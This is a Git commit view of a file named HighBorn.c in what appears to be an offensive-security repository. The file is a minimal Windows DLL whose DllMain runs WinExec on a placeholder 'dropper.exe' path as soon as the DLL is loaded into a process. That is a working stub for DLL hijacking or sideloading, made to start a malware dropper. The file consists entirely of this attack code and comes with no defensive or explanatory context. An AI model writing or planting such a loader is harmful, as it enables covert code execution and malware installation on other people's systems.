瀏覽代碼

Create HighBorn.c

assume-breach 3 年之前
父節點
當前提交
80fc118931
共有 1 個文件被更改,包括 23 次插入0 次删除
  1. 23 0
      HighBorn/HighBorn.c

+ 23 - 0
HighBorn/HighBorn.c

@@ -0,0 +1,23 @@
+#include <windows.h>
+
+void spwnrce()
+{
+    WinExec("C:\\PATH\\TO\\DROPPER\\dropper.exe",1);
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+                     )
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        spwnrce();
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}